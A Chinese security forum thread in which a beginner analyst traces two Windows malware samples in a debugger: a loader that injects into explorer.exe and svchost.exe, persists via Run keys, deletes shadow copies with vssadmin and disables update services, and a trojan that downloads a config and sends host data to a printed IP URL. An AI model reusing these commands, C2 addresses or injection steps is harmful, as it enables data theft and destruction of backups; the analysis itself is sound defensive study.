社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 172阅读
  • 5回复

[分享]将错就错,菜鸟学分析病毒之路

楼层直达
z3960 
级别: 茶馆馆主
发帖
770867
飞翔币
207694
威望
215657
飞扬币
2511646
信誉值
8

今天拿到一文件。感觉不是很复杂,但实际已分析简直蛋疼,还是一样从我这个菜鸟的角度来说说如何分析这个文件的,分析的不到位的地方还请大神们指点指点。1。老规矩,先跑跑行为可以看到有注入,注册表,网络的操作。(对于注入我是真的不太了解,没关系遇到了网上现查)看了看到如表,一堆乱七八糟的玩意,于是我打开OD准备直接下端点。BP CreateRemoteProcessBP RegSetValueKey...之类的玩意,由于对windowsAPI不了解,所以都是现查的跑了下发现有的断不下来,有的断的也不是我想要的结果,没办法无从下手了,我只能想到最笨的办法,单步
40f9e5 VirtualProtect 修改41a309内存页属性

Decrypt(41a304,41d363)
使用VirtualAlloc申请内存
41a340 VirtualAlloc -> 9e0000 大小为1000

解密Decrypt(41a2f0,41a309)
拷贝.rdata区段代码至申请的内存:
41a309 Copy 41cc20-41cfd3 -> 9E0000 3B4
41a309 Copy 41cfd3-41bd48 ->9e03b3 3b4

解密Decrypt(41a2f0,9e0000)
41a383 Call 9E0009 执行代码

使用VirtualAlloc申请内存
9e014e VirtualAlloc ->9f0000大小为8d6e3
拷贝400820到9F000+146E3 = a046e3 大小5c0f
拷贝40bdf0到 a0a2f2大小为3b4f
拷贝40fa10到 a0de41大小为65eb
拷贝406550到 a1442c大小为 5589
拷贝416410到 a199b5大小为 3e1d
替换部分解密代码:
拷贝41cfd3到 a046e3大小为 3e1d
拷贝41b8a0到 a046e3大小为 4a8
拷贝41d479到 a046e3大小为 3c8
拷贝41e350到 a046e3大小为 1360
拷贝41a570到 a05ae3大小为 b58
拷贝41f6e8到 a046e3大小为 86c
拷贝41b0d0到 a04f4f大小为 4f8

使用VirtualAlloc保留空间
9e0275 VirtualAlloc->400000 大小为23000

使用VirtualAlloc保留空间
9e0287 VirtualAlloc->B90000 大小为23000

使用VirtualAlloc提交
9e029a VirtualAlloc->B90000 大小为1000
拷贝A046E3代码至B90000 大小为400  header

使用VirtualAlloc申请内存
9e02ee VirtualAlloc->B91000 大小为16000  
拷贝A04AE3代码至B91000 大小为15600 .text

使用VirtualAlloc申请内存
9e02ee VirtualAlloc->BA7000 大小为1000  .rdata

使用VirtualAlloc申请内存
9e02ee VirtualAlloc->BB2000 大小为1000  .reloc
其中Decrypt是我推测出来的解密部分代码,他的作用就是把两块区域的代码做一个运算,放到其中一块去
此时在内存中已经形成一个PE文件.
修改b90000-b91000属性为readonly head
修改b91000-ba7000为excute_read  .text
同样方法修改ba7000-ba8000execute        .rdata
修改ba8000-bb2000 excute_read noAcccess   .data
修改bb2000-bb3000 noAccess              .reloc
取消提交.reloc页
使用jmp指令调到该处:
利用fs:[30]取得kernel32地址.
获取到相应api地址:
b91120 push CsrAllocateCaptureBuffer CsrAllocateMessagePointer CsrAllocateCaptureMessageBuffer            
CsrCaptureMessageMutiUnicodeStringInPlace CsrCaptureMessageString CsrCaptureTimeout CsrClientCallServer
CsrClientConnectToServer CsrFreeCaptureBuffer CsrGetProcessId CsrIdentifyAlertableThreads CsrNewThread
CsrProbeForRead CsrProbeForWrite CsrSetPriorityClass DbgBreakPoint DbgPrint DbgPrintEx DbgPrintReturnControlC
DbgPrompt DbgQueryDebugFilterState DbgSetDebugFilterState DbgViConnectToDbg DbgViContinue DbgViConvertStateChangeStructure
DbgViDebugActiveProcess DbgViGetThreadDebugObject ..
获取主机名
B9E67A CALL 00B8EE90 get computername

申请空间 保存主机名和cpuinfo
84EF CALL EDX ZwVirutalAllocateMemory A60000 1000 computername cpuinfo

申请空间临时保存字符串,保存systemdir和processor_level信息:
B98836 CALL EAX ZwFreeVirtualMemorry A60000 1000
BC6000 6000 SYSTEMDIR c:
CD0000 PROCESSOR_LEVEL 3A09

对字符串做相应处理:
B96B64 CALL ECX advapi32.CryptAcquireContextW advapi32.CreateHash CryptHashData CryptGetHashParam 加密
B984EF CALL EDX ntdll.ZwAllocateVirtualMemory A70000 1000
B9854F CALL ECX memset
B984EF CALL EDX ZwVirtualAllocateMemory CC0000 1000
B9854F CALL ECX memeset 清0
B96D52 CALL EAX sprintf %02x 格式的结果 FE810AA94399F781A39D6FAB8AC0CED7
使用wscat连接后的字符串BaseNamedObjectsFE810AA94399F781A39D6FAB8AC0CED7
创建互斥体BaseNamedObjectsFE810AA94399F781A39D6FAB8AC0CED7
B9AD9D CALL EAXRtlInitUnicodeString
B9ADE3 CALL EDX ntldll.ZwOpenEvent

ZwQueryInformationProcess 获取explorer.exe完整路径
B96519 CALL EDX ntdll.ZwCreateFile 获取该文件句柄,用于注入
B9A053 CALL EDX kernel32.CreateProcessInternalW
ZwCreateSection
B9B268 ZwMapViewOfSection DD0000 23000
B9B28C CALL EDX memcpy copy代码到explorer.exe里
B9A763 ntdll.RtlCreateUserThread 在explorer.exe中创建线程,并挂起
12fe44,12fe54,0,a62b0,0,0,0,1,0,cc
OD附加explorer.exe 00a62b0处:
根据上面获取到的字符串命名:
使用ZwCreateFile 复制自身到c:f955aef955ae.exe,并隐藏文件夹和文件

使用ZwSetValueKey修改注册表,开机自启:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun6f955a c:f955aef955ae.exe
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun*f955a
c:f955aef955ae.exe
winExec执行vssadmin.exe Delete Shadows /ALL /Quite删除所有卷影副本
注入svchost.exe
9b7d9 CALL 00099FC0 c:windowssystem32svchost.exe -k netsvcs
96519 CALL EDX ntdll.ZwCreateFile
9a053 CALL EDX kernel32.CreateProcessInternalW
注入地址为0xa6190
附加svchost.exe:
使用ZwSetValueKey修改注册表,禁用自动更新系统还原
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetSeriviceswscsvcStart 0x4
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetSeriviceswuauservStart 0x4
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetSerivicesBITSStart 0x4
InterNetOpenUrl
http://torichipinis.com/+seria
http://milimalipali.com/+seria
到此我已经蛋疼至极,好多细节地方已无探究,因为用到好多Zw跟Nt系列的玩意,简直不懂
给我的经验就是有时候单步跟是一种笨但是很有效地方法。
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
z3960 
级别: 茶馆馆主
发帖
770867
飞翔币
207694
威望
215657
飞扬币
2511646
信誉值
8

只看该作者 1 发表于: 2023-10-12
觉得只有20k,应该挺好玩的,于是下载了下来,但是一直没有分析,今天分析一马的时候需要dump一块区域下来,误把这个文件当作dump下来的文件分析,分析到差不多的时候才发现不对劲,于是索性将错就错把该马的分析过程记录下来。整理好文档之后正准备发的时候才发现论坛里已经有人发出这个帖子了。。见http://www.52pojie.cn/thread-253648-1-1.html     汗。。不过既然整理出来了还是发一下,本人还是一样从作为我这样一个菜鸟的角度来谈如何分析这个菜鸟们最最适合上手的木马。1。先跑跑行为,有了行为做指引后面的分析就会变得极其容易。可以看到它创建了文件,修改了注册表,有网络通信,有自删除的功能,心里默默记住就好2。看看壳,vc++的,没壳,没附加数据,不用做处理了。3。载入IDA或者OD,因为既然可以跑出行为,代码量又特别少,那直接就OD单部跟着走,边走边坐标记。
获取c:windowssystemspoolsv.exe属性
若不存在,则copy当前文件至c:windowssystemspoolsv.exe
500ms后执行当前文件,设置进程优先级为实时,删除自身,并退出
如果是目录,删除该名字的目录,copy当前文件至c:windowssystemspoolsv.exe
,执行当前文件,设置进程优先级为实时,并删除自身,删除时都使用createRemoteProcess
通过设置注册表HKEY_LOCAL_MACHINESoftwareMicroftWindowsCurrentVersionRun使其能开机自启动.
使用URLDownLoadToFile下载文件到本地的fuck.ini,并使用WinExec执行
调用GetPrivateProfileStringA来获得fuck.ini中的配置:
查查关于读取ini的资料,不难写出
fuck.ini结构:
[x0]
jc=进程
mz=
ys=
url=
调用了createToolHelp32SnapShot,Process32First,Process32Next遍历所有进程,搜索jc
获取系统的版本,mac地址等信息,调用InternetOpenUrl按照如下地址和格式发送:
00404134
"http://121.12.115.10:1111/count.asp?mac=080027659CC0&ver=20120919&makedate=&userID=ceo&ComPut=USER-20140909BM&os=Windows XP&key=nb20548ccccccccccccccccccccccccc&explorer="
清理痕迹
注意单步的时候遇到不会的API现搜就行 ,注意参数传递,之所以说它好上手是因为无壳,无任何代码加密,流程简单,所涉及到API都是很常见的API,各位可以拿这个练练手。
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
835650
飞翔币
226827
威望
224673
飞扬币
2454463
信誉值
0

只看该作者 2 发表于: 2023-10-14
来看一下
级别: 超级版主
发帖
835650
飞翔币
226827
威望
224673
飞扬币
2454463
信誉值
0

只看该作者 3 发表于: 2023-10-14
不错,了解了
srwam 
级别: 超级版主
发帖
636486
飞翔币
196
威望
25287
飞扬币
2870039
信誉值
0

只看该作者 4 发表于: 2023-10-24
来看看
srwam 
级别: 超级版主
发帖
636486
飞翔币
196
威望
25287
飞扬币
2870039
信誉值
0

只看该作者 5 发表于: 2023-10-24
了解一下